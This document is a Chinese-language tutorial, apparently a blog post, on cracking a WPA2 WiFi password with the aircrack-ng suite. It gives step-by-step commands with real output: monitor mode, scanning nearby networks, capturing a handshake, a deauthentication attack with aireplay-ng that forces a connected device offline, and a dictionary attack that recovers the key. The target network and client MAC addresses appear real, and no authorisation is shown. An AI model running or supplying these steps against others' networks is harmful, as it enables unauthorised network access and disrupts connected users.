准备工作
- 一个支持数据包嗅探和注入(Packet Sniffing/Injection)的的WiFi网卡
- aircrack-ng
Kali上自带aircrack-ng,如果是其他Linux需要自行下载(如ArchLinux下:sudo pacman -S aircrack-ng
)
用sudo airmon-ng
检测网卡是否支持监听模式(Monitor Mode)。PHY Interface Driver Chipset
phy0 wlp2s0 iwlwifi Intel Corporation Wireless 8265 / 8275 (rev 78)
可见我的无线网卡wlp2s0
是支持监听的,如果该命令没有任何输出则表示没有可以支持监听模式的网卡。
抓取握手包
开启网卡的监听模式:sudo airmon-ng start wlp2s0
:Found 2 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before putting
the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode
PID Name
420 NetworkManager
433 wpa_supplicant
PHY Interface Driver Chipset
phy0 wlp2s0 iwlwifi Intel Corporation Wireless 8265 / 8275 (rev 78)
(mac80211 monitor mode vif enabled for [phy0]wlp2s0 on [phy0]wlp2s0mon)
(mac80211 station mode vif disabled for [phy0]wlp2s0)
上述信息告知了一些可能影响破解的进程,最好杀掉,否则可能会在抓包时卡死或者导致抓不到握手包。
ifconfig
查看当前的网卡,原先的wlp2s0
现在已经变成了wlp2s0mon
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 1252 bytes 104572 (102.1 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 1252 bytes 104572 (102.1 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
wlp2s0mon: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
unspec D4-25-8B-DF-47-C9-3A-30-00-00-00-00-00-00-00-00 txqueuelen 1000 (UNSPEC)
RX packets 268 bytes 35064 (34.2 KiB)
RX errors 0 dropped 268 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
开始搜索周围的网络sudo airodump-ng wlp2s0mon
:CH 6 ][ Elapsed: 48 s ][ 2018-11-25 14:42 ][ WPA handshake: E6:46:DA:CC:74:1E
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
E6:46:DA:DC:DC:68 -58 20 1 0 6 180 WPA2 CCMP PSK Looper
4E:0B:BE:02:02:CF -54 24 0 0 1 130 WPA2 CCMP PSK DIRECT-CSDESKTOP-G8VIQD6mstL
BC:3D:85:E3:6A:2D -54 32 20 0 11 130 WPA2 CCMP PSK Pyramid
B0:EB:57:7E:56:CA -56 36 0 0 1 135 OPN Honor V10
E6:46:DA:DC:DC:68 -58 20 1 0 6 180 WPA2 CCMP PSK Looper
使用该命令列出无线网卡扫描到的WiFi热点详细信息,包括信号强度,加密类型,信道等。这里我们记下要破解WiFi的BSSID和信道(CH/Channel),当搜索到我们想要破解的WiFi热点时可以Ctrl
+C
停止搜索。
使用网卡的监听模式抓取周围的无线网络数据包,其中我们需要用到的数据包是包含了WiFi密码的握手包,当有新用户连接WiFi时会发送握手包。当我要抓取上述第一个WiFi热点的包,命令如下:
sudo airodump-ng -c 6 --bssid E6:46:DA:DC:DC:68 -w ~/caps wlp2s0mon
-c
,--bssid
,-w
分别指定了信道,BSSID,握手包存储目录。显示如下:
CH 6 ][ Elapsed: 5 mins ][ 2018-11-25 15:00 |
现在我们使用aireplay-ng
命令给已连接的设备发送一个反认证包,使该设备强制断开连接,随后它会自动再次连接WiFi。不难看出,airplay-ng
生效的前提是WiFi热点中必须至少已经接入一个设备。
由于刚刚打开的终端一直在执行抓包工作,所以我们重新打开一个终端,输入命令。
sudo aireplay-ng -0 2 -a E6:46:DA:DC:DC:68 -c 5C:5F:67:1E:F3:48 wlp2s0mon
-a
后接WiFi的BSSID,-c
接被攻击的设备的BSSID。
此时静待抓包窗口抓到握手包,捕获后会有提示,Ctrl
+C
命令停止抓包,同时结束无线网卡的监听模式:sudo airmon-ng stop wlp2s0mon
字典暴力破解
最后将握手包中的密码和字典密码匹配:sudo aircrack-ng -a2 -b E6:46:DA:DC:DC:68 -w ~/dic.txt ~/caps/*.cap
此处的字典需要自行准备,字典是按行分割的纯文本文件,每行是一个密码。如果是Kali环境,可以使用自带的字典:/usr/share/wordlist/rockyou.txt
成功获取密码425670389:[00:00:00] 1/0 keys tested (173.10 k/s)
Time left:
KEY FOUND! [ 425670389 ]
Master Key : 9E DC BD 2E 3C 46 3E A5 0D 43 60 BD 7D DD 86 10
59 5C 11 30 77 92 07 D6 9D 26 AF CB 2C 09 AB 62
Transient Key : 68 80 65 67 78 1C 0F 40 F9 81 3B 07 47 C1 34 BC
49 09 61 18 D7 1F C2 55 3B F1 73 F9 FD 7B 18 FC
93 B0 63 C8 23 0C D0 EE 72 A8 8C 1F EF 54 72 01
98 EB 1B 40 07 25 1B A5 86 CF E6 66 0F 33 35 FF
EAPOL HMAC : 43 93 FF 24 90 07 07 F8 B5 58 D6 DA 2B 1E AF 32
最后为了保证网络正常使用,重启networkManager服务,sudo systemctl restart NetworkManager